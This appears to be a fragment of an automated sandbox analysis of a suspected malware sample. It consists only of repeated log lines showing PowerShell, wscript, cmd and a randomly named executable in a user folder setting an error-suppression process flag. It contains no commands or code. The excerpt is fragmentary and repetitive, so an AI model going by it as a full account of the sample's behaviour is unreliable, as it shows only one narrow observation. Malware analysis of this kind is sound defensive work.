        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\e45iasd.exeProcess information set: NOOPENFILEERRORBOX
